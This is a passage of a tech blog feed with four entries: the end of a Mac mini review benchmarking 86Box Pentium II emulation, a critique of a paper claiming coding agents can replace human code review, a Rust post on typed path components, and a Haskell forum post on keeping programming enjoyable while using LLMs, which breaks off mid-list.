clock. A completed render is not enough to pass, the 10.08 CB result at 650MHz came with one or two audible underruns. In reality, I think I may be being too firm on that run, and background activity could have caused the hitches. But staying true to the methodology, **600MHz is the result** and leaves a lick of headroom. The 800MHz option is there to extend the test range but clearly not a speed either Mac can sustain.&#xA;&#xA;There is an interesting wrinkle when comparing these scores with real hardware. An Ars Technica forum thread collecting Cinebench 2000 results includes the following user-reported figures:&#xA;&#xA;#### Period hardware, user-reported Cinebench 2000 scores&#xA;&#xA;Period hardwareCinebench 2000Pentium II 300MHz2.38Pentium II 450MHz4.35Celeron 800MHz7.52Celeron 533MHz overclocked to 760MHz (95 x 8)8.03Pentium III Coppermine 800MHz9.25Athlon Classic 600MHz7.66&#xA;&#xA;User-reported results from the Ars Technica Cinebench 2000 thread. Different systems, memory and operating systems, so period context rather than a controlled comparison.&#xA;&#xA;Our emulated 450MHz Pentium II scores **7.02 CB**, about **61% higher** than that physical PII 450MHz result. At 300MHz the gap is larger still, with 4.62 CB against 2.38 CB. Bizarrely, our 600MHz result of 9.28 CB lands almost exactly alongside that 800MHz Coppermine. These are individual forum submissions from different systems, so they provide period context rather than a controlled comparison, but the discrepancy is substantial. It&#39;s also worth a mention this benchmark version is very old and long before it became the popular benchmark it is today.&#xA;&#xA;I do not yet know why, it&#39;s possible memory bandwidth and cache timing within the emulated machine might have something to do with it. There is some relevant history in 86Box&#39;s v3.0 release notes, which explain that P6 emulation was not fully accurate because of the complexity of out-of-order execution and L2 cache behaviour. Deschutes timings were tuned to get reasonably close to real hardware. But yeah, not sure.&#xA;&#xA;The discrepancy is already present at 300MHz and 450MHz, below the entries added by my patch. For this review, **600MHz remains the highest passing setting in this 86Box configuration**, with a 20% higher stable clock than the M4. The CB2000 scores are useful for showing how that configuration scales, but I would not use them to claim equivalent performance across software on a real Pentium II or Pentium III.&#xA;&#xA;Even the M4&#39;s 500MHz is remarkable alongside the overclocked 9950X3D demonstration I was using for context. I do not have a matched x86 run on this custom build, but the base M4 was already a much more capable retro machine than the original 450MHz limit let me establish.&#xA;&#xA;The video below is from the earlier **450MHz** run on the M6, where OBS was also compositing and encoding 720p30 H.264. It documents that run, rather than the new 600MHz result.&#xA;&#xA;## What the Host Is Actually Doing&#xA;&#xA;86Box parks the work on two &#39;super&#39; cores, visible as **cpu6 and cpu7**, with the rest of the package largely idle. On the M6 those two cores average about **4,483MHz** during the 450MHz Cinebench 2000 run and about **4,710MHz** during the 600MHz run, peaking at **4,788MHz**. Core activity climbs with the emulated clock too, from roughly **41%** on each busy core at 450MHz to **45 to 49%** at 600MHz, so there is still real headroom left at the highest passing clock. Whole package usage never passes **26%**.&#xA;&#xA;The M4 running the same configuration keeps its busy cores closer to **3.7GHz**, and that gap is likely most of the reason it stops at 500MHz.&#xA;&#xA;#### 86Box: Pentium II host telemetry&#xA;&#xA;Captured via powermetrics at ~1s intervals. cpu6 and cpu7 are the performance cores 86Box is using. CPU package power is reported as zero on this M6 build, so only clocks and utilisation are plotted for the M6.&#xA;&#xA;## Where This Leaves the Mini&#xA;&#xA;For this specific use, the cheapest new Mac desktop is an unusually good machine. The base M4 already gives me a stable 500MHz Pentium II, the M6 takes that to **600MHz**, with intact audio and a full 3DMark demo at 100%. That is an outstanding result from a small, silent box under €1,600. It is the clearest case I have found so far where the M6&#39;s single-core lead translates into something you can actually feel rather than something you read off a chart.&#xA;&#xA;Looking at the benchmark numbers, and anecdotal evidence available online from era appropraite benchmarks, this places my virtual system in Pentium III territory. **One day I&#39;ll look to try XP emulation in 86box.**</content>
    <link href="https://nyaa.sh/reviews/mac-mini-m6-emulation" rel="alternate"></link>
    <author>
      <name>dimonomid</name>
    </author>
  </entry>
  <entry>
    <title>There is more to code review than (automatable) detection</title>
    <updated>2026-09-26T15:18:59+09:00</updated>
    <id>lobsters_ivunna</id>
    <content type="html">The abstract for article “The End of Code Review: Coding Agents Supersede Human Inspection” paints this picture for the reader…&#xA;&#xA;&gt; **Abstract**– Code review has been the primary quality gate in software development since Fagan formalised code inspection in 1976. For five decades, having a human examine and comment on a colleague’s changes before merge has been a cornerstone practice at organisations of every size. Coding agents are large language model (LLM)-based autonomous systems capable of reading, writing, testing, and repairing software. We argue that coding agents have crossed a threshold of capability at which traditional human code review is no longer a necessary component of a software quality pipeline. Our argument rests on two claims: every stated goal of code review can be served by agents at lower cost and higher throughput; the naive integration in which agents write code and humans remain the mandatory reviewers is a dead end because it neither provides meaningful assurance nor scales with AI-assisted throughput.&#xA;&#xA;The article is structured well and quite straightforward for engineers who aren’t used to reading research articles very often. However, I do think the argument critically depends on a problematic framing: _the substitution myth_.&#xA;&#xA;The author decomposes peer code review into four stated functions: defect detection, style enforcement, knowledge transfer, and awareness. It argues an agent can perform each one. The conclusion, of course, is that if an agent can execute each of those functions, then the agent has the capability to replace a human reviewer.&#xA;&#xA;I think this overlooks some important aspects of peer code review that _cannot_ be reduced to a function:&#xA;&#xA;**A peer reviewer’s confusion**&#xA;&#xA;When an experienced engineer reads a diff and says “I don’t understand this.”, their confusion _is_ the finding. It means the code is either too complex, the abstraction is wrong, or the intent is not clear. An LLM will always ‘understand’ the code in the sense of being able to _process_ it. It can’t give you the signal of legitimate human incomprehension. The article treats comprehensibility as something that is more about style than anything else. It’s not. It’s an emergent property and it shows up in the interaction between a person attempting to understand the artifact and the artifact itself.&#xA;&#xA;**Qualified skepticism about whether the change is even necessary**&#xA;&#xA;Questioning the existence of a change, like:&#xA;&#xA;&gt; “Should this actually be&#xA;&gt;&#xA;&gt;  _two_ PRs?”&#xA;&#xA;or&#xA;&#xA;&gt; “This solves the symptom, not the problem”&#xA;&#xA;These are questions about intent, scope, and appropriateness of the change. All of that comes _before_ whether the code is “correct.” The article’s framing assumes that a) the code change being reviewed is necessary, and b) the main purpose of the review is verification.&#xA;&#xA;But anybody who has ever had contact with production understands that code review is _often the last_ (or sometimes only) moment when someone can be expected to challenge whether the change is even necessary.&#xA;&#xA;**The ability to see what is _not_ there**&#xA;&#xA;A human reviewer can notice that an API contract has changed but the error handling didn’t. They can notice what is _missing_. In other words: being able to recognize what is _expected_ to be present, but isn’t. The article doesn’t acknowledge this at all, which is particularly interesting, given that absence blindness is exactly the class of failure that LLMs tend to be quite poor at.&#xA;&#xA;The agent reviews what is there; engineers with expertise can easily notice what’s missing.&#xA;&#xA;_Who_ wrote the code influences the scrutiny of the review&#xA;&#xA;Peer code reviewers have a sort of _calibrated attention_ that comes from past experience with the code’s author, who is often a colleague. For example: a less-tenured engineer’s first commit to, say, a payments module will likely get different attention than a veteran and ‘grey beard’ engineer’s routine refactoring.&#xA;&#xA;Reviewers typically match the situation’s who, what, when, and where to their own experience of where risk lies.&#xA;&#xA;The article seems to treat all diffs as equivalent inputs.&#xA;&#xA;**Code review is bidirectional and constructive**&#xA;&#xA;It seems to me that paper reduces knowledge transfer down to just information delivery; the agent simply ‘generates explanations.’ But discussion in a code review is a _joint_ _cognitive activity_. The peer reviewer learns about the author’s approach, the author learns via the reviewers’ questions, and the result is a shared understanding that neither party had prior to the discussion.&#xA;&#xA;This is **coactive** work, not simply a transmission. An agent’s summary isn’t a substitute for a conversation that changes both participants’ mental models.&#xA;&#xA;**Operational context that lives outside repos**&#xA;&#xA;&gt; “We just had an incident in this service last Tuesday.”&#xA;&gt;&#xA;&gt; “The team that owns this downstream consumer is about to deprecate that interface.”&#xA;&gt;&#xA;&gt; “Legal told us not to log this field anymore.”&#xA;&#xA;Human reviewers possess so much more contextual knowledge than they’re aware of, even though they can recognize connections in the wild. People understand the current state of the organization, recent events, and informal agreements that aren’t captured in tests, docs or version control, and they can recognize how these may influence the code under review. This happens so often that it’s all but invisible.&#xA;&#xA;The article assumes the codebase _is_ the complete context. It never is.&#xA;&#xA;**Accountability for the code isn’t just a beuraucratic formality**&#xA;&#xA;The article treats human responsibility as a compliance artifact, a “named human” for legal or other rule-related purposes. But being aware that you are personally responsible for approving a change shapes how you review it. It is the “skin in the game.” An agent that “signs off” on a pull request bears no consequences and certainly has no incentive structure that fuels an earnest evaluation. While the paper does include ethics concerns in its discussion section, it ends up redirecting it to “requirements engineering and post-deployment monitoring” which seems to me as hand-waving way of kicking the can down the road.&#xA;&#xA;The most fundamental issue I have with the article is that it assumes code review is a first and foremost a **detection** process: you find defects, style violations, security issues, etc., and the assumption is that detecting these faster and cheaper is universally better.&#xA;&#xA;But code review is also a _coordination_ process, a _sensemaking_ process, and a _governance_ process.&#xA;&#xA;The **substitution myth** often plays out in this same way:&#xA;&#xA;1. First, decompose the human contribution of work into measurable functions.&#xA;2. Show that the machine can replicate this human contribution into measurable functions of its own.&#xA;3. Declare the human redundant.&#xA;&#xA;This approach often falls apart at the same point: the human contribution that mattered most was the _integration_ across functions. People’s ability to adapt to unplanned circumstances and contexts and serve the social accountability expected.&#xA;&#xA;This ability to adapt in those situations aren’t accounted for in the original decomposition step #1, above.&#xA;&#xA;I don’t think they were accounted for in the original article, either.</content>
    <link href="https://www.adaptivecapacitylabs.com/2026/08/24/there-is-more-to-code-review-than-automatable-detection/" rel="alternate"></link>
    <author>
      <name>giacomo_cavalieri</name>
    </author>
  </entry>
  <entry>
    <title>A Type Stronger than the Sum of its Components</title>
    <updated>2026-09-26T00:23:16+09:00</updated>
    <id>lobsters_tasulj</id>
    <content type="html"># A Type Stronger than the Sum of its Components&#xA;&#xA;24 Sep 2026&#xA;&#xA;Have you ever written a type that you appreciated so much you still think about it? Like eating a really good meal, where if you try hard enough, you can still recall the taste in your mouth. I had a mini moment of Rust joy the other day and wanted to share the experience.&#xA;&#xA;TLDR: I turned an enum with N variants into N types. Nothing earth-shattering, but it made my life better.&#xA;&#xA;Specifically, `std::path::Component` is an enum that you can get from any std::path::Path reference. Where a path can be viewed as an iterator of components. To give you an example `/tmp/hello` is `[Component::RootDir, Component::Normal(&#34;tmp&#34;), Component::Normal(&#34;hello&#34;)]`. This enum is very handy for decomposing and working with paths, but an interface that takes one component that could be any of those variants is overly broad and not terribly useful.&#xA;&#xA;In a library where I work with paths a lot I made owned structs for each of those component types so that I could write a function signature like this:&#xA;&#xA; `impl AbsPath {&#xA;    // ...&#xA;    pub(crate) fn join_normal(&amp;self, path: &amp;NormalComponent) -&gt; AbsPath {&#xA;        AbsPath(self.as_ref().join(path.as_ref()))&#xA;    }&#xA;}&#xA;`&#xA;&#xA;Where `NormalComponent` is a `struct NormalComponent(OsString)` that is guaranteed to come from a `Component::Normal` variant. In the example above, I’m using properties of this type to guarantee that joining it to a path that is already absolute will produce a path that is also absolute.&#xA;&#xA;It might not sound earth-shattering, but prior to that, the alternative was something like:&#xA;&#xA; `pub(crate) fn join_normal(&amp;self, path: &amp;OsStr) -&gt; AbsPath&#xA;`&#xA;&#xA;But an `OsStr` could be anything. It could contain `..` or be an absolute path (in which case, the join API replaces the target). Another use case is using it to represent the entries inside a directory.&#xA;&#xA;In hindsight, it’s such an obvious move: Take an existing, well-designed enum and make a type for each of the variants it can hold. If it’s useful to know you have 1 of N possible things (an enum), it’s probably also useful to know you have 1 very specific thing that can also fit into that enum. An enum is also known as a “sum type.” So another way to think of this is if it’s useful to have a sum type, it’s also useful to have the individual components of that type.&#xA;&#xA;Prior to this abstraction, I produced a range of other types:&#xA;&#xA;- AbsPath - A path that is `absolute`-ized.&#xA;- RelativePath - You guessed it, a path that is relative.&#xA;- CanonicalPath - A path that has been `canonicalize`-d.&#xA;&#xA;I found these useful, but still overly broad. A weird thing with working with paths is that they represent a lexical value and a physical location, and the two can be different. A path that is lexically relative might be a symlink on disk with an absolute target. And trying to normalize or transform paths can have weird consequences. Like if you try to get metadata from a file at `/path/to/location/skipped/..` it will fail if `skipped` does not exist or is not a directory. However, if you canonicalize the path first, that will succeed and produce `/path/to/location`, which will not fail when you try to get metadata from it.&#xA;&#xA;An absolute path is not normalized, so it can have `..` ( `ParentDir`) and `.` ( `CurDir`) in it. But if you don’t know how the path will be used (in my library, I don’t know why someone is asking for facts about that given path). You cannot safely normalize those values unless you’ve resolved their physical parent. That’s because `/path/to/location/skipped` from above could also be a symlink to a completely different absolute path, which needs to be resolved before the “apply `..` to fold parent directory” happens. And to make matters worse, Windows has special paths that change the behavior of lookups. So paths that start with `\\?\` like `\\?\C:\windows` treat `.` and `..` as literal values.&#xA;&#xA;That means, when you run a path through `std::path::canonicalize` it returns a path with this syntax. Which also means that it is unsafe to call `canonicalize(canonicalize(&amp;path).join(&amp;other))` on Windows. If `&amp;other` contains a `..`, it will produce a verbatim lookup that will likely fail. Thankfully, the `Component` parsing is consistent here, so it always returns a `Component::ParentDir` for a `..` rather than a `Component::Normal(&#34;..&#34;)`.&#xA;&#xA;Join safety is probably the biggest benefit I got out of this new type, but it’s also fun that I can do things like this:&#xA;&#xA; `fn up(position: Reached, name: ParentDirComponent) -&gt; (Step, Reached)&#xA;`&#xA;&#xA;Here, the `up` function is walking/tracing a path on disk one component at a time. Previously, this was taking an `OsString`, which required the programmer to be careful. This type signature forces the developer to prove to the compiler that they hold a `..` component in hand before they can call this logic. Not earth-shattering either, but this level of pedantic confidence is just so…delightful here.&#xA;&#xA;Not everyone’s taste in food or types is the same. It’s fine if you don’t like the examples I’m serving here, but I thought this was satisfying and wanted to give you some food for thought. I would love to hear about other satisfying type patterns you’re still savoring.&#xA;&#xA;An AI disclaimer: Gen AI coding tools, I also code a lot of stuff by hand, and advocate for something like a “manually coded Monday.” This `src/component.rs` is exclusively my meat brain child. I actually coded it while I was in a car with no internet, waiting for my kids’ soccer practice to be over. I use Grammarly (non-gen-ai mode) to help me edit my prose.</content>
    <link href="https://www.schneems.com/2026/09/24/a-type-stronger-than-the-sum-of-its-components/" rel="alternate"></link>
    <author>
      <name>schneems</name>
    </author>
  </entry>
  <entry>
    <title>How to keep enjoying programming in a world of LLMs</title>
    <updated>2026-09-26T08:22:27+09:00</updated>
    <id>lobsters_ekbatu</id>
    <content type="html">&lt;style&gt; html { overflow-y: revert !important; } #d-splash { display: none; } &lt;/style&gt; &lt;header&gt; &lt;a href=&#34;/&#34;&gt;Haskell Community&lt;/a&gt; &lt;/header&gt; &lt;div id=&#34;main-outlet&#34; class=&#34;wrap&#34; role=&#34;main&#34;&gt; &lt;!-- preload-content: --&gt; &lt;div id=&#34;topic-title&#34;&gt; &lt;h1&gt; &lt;a href=&#34;/t/how-to-keep-enjoying-programming-in-a-world-of-llms/14705&#34;&gt;How to keep enjoying programming in a world of LLMs&lt;/a&gt; &lt;/h1&gt; &lt;div class=&#34;topic-category&#34; itemscope itemtype=&#34;http://schema.org/BreadcrumbList&#34;&gt; &lt;span itemprop=&#34;itemListElement&#34; itemscope itemtype=&#34;http://schema.org/ListItem&#34;&gt; &lt;a href=&#34;/c/uncategorized/1&#34; class=&#34;badge-wrapper bullet&#34; itemprop=&#34;item&#34;&gt; &lt;span class=&#39;badge-category-bg&#39; style=&#39;background-color: #0088CC&#39;&gt;&lt;/span&gt; &lt;span class=&#39;badge-category clear-badge&#39;&gt; &lt;span class=&#39;category-name&#39; itemprop=&#39;name&#39;&gt;Uncategorized&lt;/span&gt; &lt;/span&gt; &lt;/a&gt; &lt;meta itemprop=&#34;position&#34; content=&#34;1&#34; /&gt; &lt;/span&gt; &lt;/div&gt; &lt;/div&gt; &lt;div itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/DiscussionForumPosting&#34;&gt; &lt;meta itemprop=&#39;headline&#39; content=&#39;How to keep enjoying programming in a world of LLMs&#39;&gt; &lt;link itemprop=&#39;url&#39; href=&#39;https://discourse.haskell.org/t/how-to-keep-enjoying-programming-in-a-world-of-llms/14705&#39;&gt; &lt;meta itemprop=&#39;datePublished&#39; content=&#39;2026-09-18T09:56:38Z&#39;&gt; &lt;meta itemprop=&#39;keywords&#39; content=&#39;&#39;&gt; &lt;meta itemprop=&#39;articleSection&#39; content=&#39;Uncategorized&#39;&gt; &lt;div itemprop=&#39;publisher&#39; itemscope itemtype=&#34;http://schema.org/Organization&#34;&gt; &lt;meta itemprop=&#39;name&#39; content=&#39;Haskell Community&#39;&gt; &lt;div itemprop=&#39;logo&#39; itemscope itemtype=&#34;http://schema.org/ImageObject&#34;&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://us1.discourse-cdn.com/flex002/uploads/haskell/original/1X/4153f623465a7327f2bc0b7221bdc140eb999e07.png&#39;&gt; &lt;/div&gt; &lt;/div&gt; &lt;div id=&#39;post\_1&#39; class=&#39;topic-body crawler-post&#39;&gt; &lt;div class=&#39;crawler-post-meta&#39;&gt; &lt;span class=&#34;creator&#34; itemprop=&#34;author&#34; itemscope=&#34;itemscope&#34; itemtype=&#34;http://schema.org/Person&#34;&gt; &lt;a rel=&#39;nofollow&#39; href=&#39;https://discourse.haskell.org/u/turion&#39;&gt;&lt;span itemprop=&#34;name&#34;&gt;turion&lt;/span&gt;&lt;/a&gt; &lt;meta itemprop=&#39;url&#39; content=&#39;https://discourse.haskell.org/u/turion&#39;&gt; &lt;/span&gt; &lt;link itemprop=&#34;mainEntityOfPage&#34; href=&#34;https://discourse.haskell.org/t/how-to-keep-enjoying-programming-in-a-world-of-llms/14705&#34;&gt; &lt;span class=&#34;crawler-post-infos&#34;&gt; &lt;time datetime=&#39;2026-09-18T09:56:38Z&#39; class=&#39;post-time&#39;&gt; September 18, 2026, 9:56am &lt;/time&gt; &lt;meta itemprop=&#39;dateModified&#39; content=&#39;2026-09-18T10:00:40Z&#39;&gt; &lt;span itemprop=&#34;position&#34;&gt;1&lt;/span&gt; &lt;/span&gt; &lt;/div&gt; &lt;div class=&#39;post&#39; itemprop=&#34;text&#34;&gt; &lt;p&gt;Are you steering towards AI burnout? Afraid of loosing your job to someone with little programming skills, no aspirations to quality, and a huge Claude account? Disappointed about the code quality in your projects, or worse in “your” own code? This is for you.&lt;/p&gt; &lt;p&gt;There are significant and legitimate ethical concerns about frontier LLMs run by big tech companies, these have been discussed at length, I’m aware and agree, this post is not about them. Please don’t mistake me for a pro-LLM techbro.&lt;/p&gt; &lt;p&gt;Also: Since people have mistaken my texts for LLM-generated before, I’ll tell you that it is 100% human written without any AI-assistance.&lt;/p&gt; &lt;h1&gt;&lt;a name=&#34;p-58631-souls-in-the-great-machine-1&#34; class=&#34;anchor&#34; href=&#34;#p-58631-souls-in-the-great-machine-1&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;Souls in the Great Machine&lt;/h1&gt; &lt;p&gt;There is a &lt;a href=&#34;https://seanmcmullen.net.au/souls-in-the-great-machine/&#34; rel=&#34;noopener nofollow ugc&#34;&gt;great book of this title by Sean Mcmullen&lt;/a&gt; that I enjoyed reading as a teenager, and at the first glance it describes the opposite of our situation: A big computer where the individual components are human, and work together to form a calculating unit. On the other hand, LLMs are themselves running on actual computers and pretending to be (super-)humans. At a second glance, story and reality are not so far apart though: Our role in the process of producing software is being degraded slowly from being actors to cogs in a machine. The spec-driven-dystopia is that we just get handed down some spec, hammer it into the LLM, and weep when our tokens run out because a &lt;a href=&#34;https://en.wikipedia.org/wiki/Technofeudalism&#34; rel=&#34;noopener nofollow ugc&#34;&gt;technofeudal lord&lt;/a&gt; decided to hand out fewer of them.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;As a Haskell programmer, I enjoy writing Haskell&lt;/strong&gt;. Yes, I like the product we make at work a lot, I like what you can do with my open source libraries, but I really enjoy just the process of expressing my thoughts in this language. I’m assuming this to be true for most of you, and also it not to be true in many other languages, which explains to some amount why enthusiasts of different programming languages have different opinions on how bright or dark the LLM-assisted future is.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;When I generate code, a lot of that enjoyment is at risk&lt;/strong&gt;. So, don’t, maybe. I want to keep writing (at least the enjoyable parts of) Haskell programs, and not having to read and review (too much) generated code. At the same time, I want to put those tokens to some good use that doesn’t slowly burn my brain away.&lt;/p&gt; &lt;p&gt;&lt;em&gt;I want to show you a way to keep enjoying programming, and at the same time becoming moderately more productive with LLM, instead of appearing to be much more productive and losing all the joy.&lt;/em&gt;&lt;/p&gt; &lt;p&gt;If you want to just be LLM-abstinent, that’s great as well, and you already know what you’re doing. But there might be reasons you don’t want to be, e.g. you actually need to bring some real productiveness gain to the table, or you don’t want to be left behind while the rest of your team, your company, your industry, is moving towards heavy LLM adoption.&lt;/p&gt; &lt;h1&gt;&lt;a name=&#34;p-58631-keep-writing-code-2&#34; class=&#34;anchor&#34; href=&#34;#p-58631-keep-writing-code-2&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;Keep writing code&lt;/h1&gt; &lt;p&gt;If you want to keep owning your codebase, you need to keep writing some code. If you let it all be generated, it will turn into an LLM wasteland that only your coding agents can thrive on. So you should keep writing code, otherwise your codebase will eventually be lost.&lt;/p&gt; &lt;p&gt;Another reason to keep writing code is to keep being a good programmer. Skills can be lost by not practising, and here the risk is particularly high because there is a really low threshold to giving up your coding work and hand it to an agent. After just a few weeks of not coding and handing everything to agents you’ll notice that you have a hard time returning to coding yourself.&lt;/p&gt; &lt;p&gt;LLMs are way worse at producing &lt;em&gt;good, human-readable&lt;/em&gt; code than advertised. They are somewhat ok at producing code they themselves later work on exclusively. But I’m sure you’ve already experienced the despair of looking at a completely generated file that must contain a bug somewhere, and your perceived inability as a human to find it yourself, because the landscape is just so alien.&lt;/p&gt; &lt;p&gt;So how to get to those productivity gains if not by letting agents do the coding? By making them do nearly everything else. Especially the boring work that is a nuisance to you. Ideally those tasks that are not too hard to get right, and easy to check.&lt;/p&gt; &lt;h2&gt;&lt;a name=&#34;p-58631-planning-3&#34; class=&#34;anchor&#34; href=&#34;#p-58631-planning-3&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;Planning&lt;/h2&gt; &lt;p&gt;Since the earliest history of computers, they’ve been always used as bookkeeping tool. Use LLMs that way. Amongst other things, it’s a bookkeeping tool that you can address in natural language instead of a formal interface. Convert a huge written conversation between domain experts into actionable todos. Test something, write down the test results, let it organise them into a plan how to fix the defects.&lt;/p&gt; &lt;p&gt;Use tools like a todo tool, or better even markdown files with frontmatter to make it track planning items properly. LLMs can have a huge context, but still if it is too full it can silently lose information.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;But don’t let it make any crucial decisions. Make it ask you.&lt;/strong&gt; If you don’t understand the question, it’s the LLMs fault not to give you the relevant context (or you might be exhausted and need a break). If you return to the same issues again and again, take a step back from the screen and think about it yourself, and return when you have a clear picture of what you want.&lt;/p&gt; &lt;h2&gt;&lt;a name=&#34;p-58631-researching-4&#34; class=&#34;anchor&#34; href=&#34;#p-58631-researching-4&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;Researching&lt;/h2&gt; &lt;p&gt;When you give a researching task to an agent, it’s tempting to watch it querying and “thinking”, to kick off some other agent in another project, or to make a coffee. Of these three, making the coffee is the best option. The one better option is: Research yourself in parallel using a good ol’ search engine. At least roughly know everything the agent will know.&lt;/p&gt; &lt;p&gt;Don’t just let it research something, accept its results as facts and plan from there. This will lead to embarrassing technical dept.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;The point of making an agent research is not for it to present all the relevant knowledge to you, or make a better decision than you could have made. The point is that you don’t have to go “Let Me Google That For You” on it.&lt;/strong&gt; You should understand the domain you’re modelling as good as the agent does, ideally even better.&lt;/p&gt; &lt;p&gt;Make your agents write down their research results somewhere, with links to their used resources. When it comes back to you later and presents you with a weird proposal, ask it about what the research says and which resource says so. 50% chance says it will discover its own mistake. In the other 50%, read it, now you’re in a position to make a good decision yourself.&lt;/p&gt; &lt;h2&gt;&lt;a name=&#34;p-58631-you-are-the-coder-5&#34; class=&#34;anchor&#34; href=&#34;#p-58631-you-are-the-coder-5&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;You are the coder&lt;/h2&gt; &lt;p&gt;&lt;em&gt;This is the game changer.&lt;/em&gt;&lt;/p&gt; &lt;p&gt;The typical coding harnesses lure you into “plan first, then let the agent code”. Refuse. &lt;strong&gt;Plan together, but then you code.&lt;/strong&gt; Tell the LLM to research your code base, let it tell you the current todo and bring up all the places you need to edit, make it mention potential pitfalls, let it remind you of relevant background research.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;I work with this workflow, and it is a lot of fun.&lt;/strong&gt; I’m enjoying my work. Sometimes even more than before LLMs. I always have a clear todo, I don’t need to worry about the overall plan, I can focus, I’m done with the todo quickly because it is well-planned. It’s like agile but without all the annoying processes.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Make the agents group around your way to work, not the other way around.&lt;/strong&gt; Maybe you’re an experienced programmer who already knows how you work best. Let the agents do all the incidental work around you that you enjoy less.&lt;/p&gt; &lt;p&gt;There are multiple advantages to this workflow:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;em&gt;You keep doing what you enjoy.&lt;/em&gt; If you like programming, do it.&lt;/li&gt; &lt;li&gt;&lt;em&gt;You always know what state your code base is in.&lt;/em&gt; Been surprised by some weird generated stuff coming from your own vibe coding sessions? Needed to rewrite LLM slop? Lost track of where you are in a session? This way you never have to again.&lt;/li&gt; &lt;li&gt;&lt;em&gt;You discover a bad plan early.&lt;/em&gt; An agent coder might just go on forever with something that you’ll recognize very quickly as a bad idea.&lt;/li&gt; &lt;li&gt;&lt;em&gt;You keep honing your skills.&lt;/em&gt; Obviously. You’ll stay a good programmer, or even go on improving.&lt;/li&gt; &lt;/ol&gt; &lt;h3&gt;&lt;a name=&#34;p-58631-rare-cases-when-a-coding-agent-is-useful-6&#34; class=&#34;anchor&#34; href=&#34;#p-58631-rare-cases-when-a-coding-agent-is-useful-6&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;Rare cases when a coding agent is useful&lt;/h3&gt; &lt;p&gt;Ideally for cleanup, small tasks, routine work, low-risk refactorings. You left FIXMEs in your code (maybe on purpose to save time and energy)? You wrote the 3 interesting cases and left the 7 similar boring ones? You have a module reorg in mind and want it benchmarked? Need to swap out an unmaintained library for a better one? Those are valid use cases. Designing something complicated from the ground up is probably not.&lt;/p&gt; &lt;p&gt;Sometimes you run out of time but want something finished, and maybe the rest of the todos in your plan are obvious low-risk tasks. It’s ok to say “I’m afk, finish this” to your supervisor agent, with a bit of luck you come back to a finished feature next morning. But it’s important to do most of the coding work yourself.&lt;/p&gt; &lt;p&gt;There are some slight pitfalls here:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;So you wrote those 3 interesting cases and tell the agent to finish the remaining 7 ones because they are just obvious adaptations of those you wrote. &lt;em&gt;Chances are you should abstract instead.&lt;/em&gt; Maybe what you’re really doing here is applying a lens or some other optic? Maybe this really is an instance to a popular type class like &lt;code&gt;Traversable&lt;/code&gt;? LLMs are famously prone not to recognise this and instead copy huge swathes of code. You as a human are striving for better readable and reasonable code.&lt;/li&gt; &lt;li&gt;Same goes for “make it mention potential pitfalls”. Yes, LLMs may be really good at walking through the whole callchain and making sure that all places you should touch are listed in the todo you get handed. But instead of relying on it to find all these couplings you should consider whether your codebase is organised poorly, forcing you to use an LLM for code research in the first place.&lt;/li&gt; &lt;/ul&gt; &lt;h2&gt;&lt;a name=&#34;p-58631-the-review-cycle-7&#34; class=&#34;anchor&#34; href=&#34;#p-58631-the-review-cycle-7&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;The review cycle&lt;/h2&gt; &lt;p&gt;You might remember how AI generated images suddenly became much more realistic with the advent of &lt;a href=&#34;https://en.wikipedia.org/wiki/Generative\_adversarial\_network&#34; rel=&#34;noopener nofollow ugc&#34;&gt;generative adversarial networks&lt;/a&gt;. In short, you have one model (the “generator”) that generates an image, and another (the “discriminator”) that tells it how well it has performed. These together can produce much better results than the generator alone. Applying the idea (which, in its generalized form, is not new at all) to LLM-assisted coding, you get an automated review cycle.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Don’t accept, don’t even read any artefact produced by an LLM without an automated review cycle.&lt;/strong&gt; This obviously applies directly to code (in those cases where you still let it be generated), but in particular to planning as well. When an agent codes something, the job is not done when it hands over, the job is done (i.e. fit for human eyes) when a reviewer agent has no more findings on it. The same goes for plans. It’s really tiring to go through logical holes in a plan (refactoring a function in todo 2 that is planned to be written in todo 7) and spot them, so add a review agent that does that.&lt;/p&gt; &lt;p&gt;I’ve found it surprisingly helpful to have my own code reviewed. Sometimes it will just point out some nits, or insist on bloating up the Haddocks, but often enough it finds a genuine bug or an omission, and keeps me focussed on the actual todo. I recommend adding review cycles to your own work, but I absolutely understand if you don’t want to read an LLMs review of your code. One way to get around this to tell it to fix the remaining findings itself if they’re minor.&lt;/p&gt; &lt;h1&gt;&lt;a name=&#34;p-58631-the-frontier-8&#34; class=&#34;anchor&#34; href=&#34;#p-58631-the-frontier-8&#34; aria-label=&#34;Heading link&#34;&gt;&lt;/a&gt;The frontier&lt;/h1&gt; &lt;blockquote&gt; &lt;p&gt;You’re completely underutilising what frontier models are capable of.&lt;/p&gt; &lt;p&gt;&lt;em&gt;Some vibe coder on the internet&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;Yes. That’s a logical consequence of my point.&lt;/p&gt; &lt;p&gt;But there are multiple reasons why relying on frontier model features is a bad idea.&lt;/p&gt; &lt;ol start=&#34;0&#34;&gt; &lt;li&gt;Environmental cost. (Even though this post was not supposed to touch this topic.) Frontier models just use a huge amount of energy. Although this is a guess to some extent since LLM companies aren’t very transparent on how their gadgets work.&lt;/li&gt; &lt;li&gt;It’s hard to build up trust in something that pretends to be much cleverer than yourself. At the end, you’re responsible for the code you produce. Not your machine. Blaming someone else for your code is something that bad managers and colleagues do with their employees and coworkers, it’s ridiculous to do with a machine. So use LLMs in a way that you can take responsibility for the results. This only works if you make yourself an integral part of the process.&lt;/li&gt; &lt;li&gt;The fanciest models use the most tokens, so there is no telling whether you’ll be able to complete your tasks with 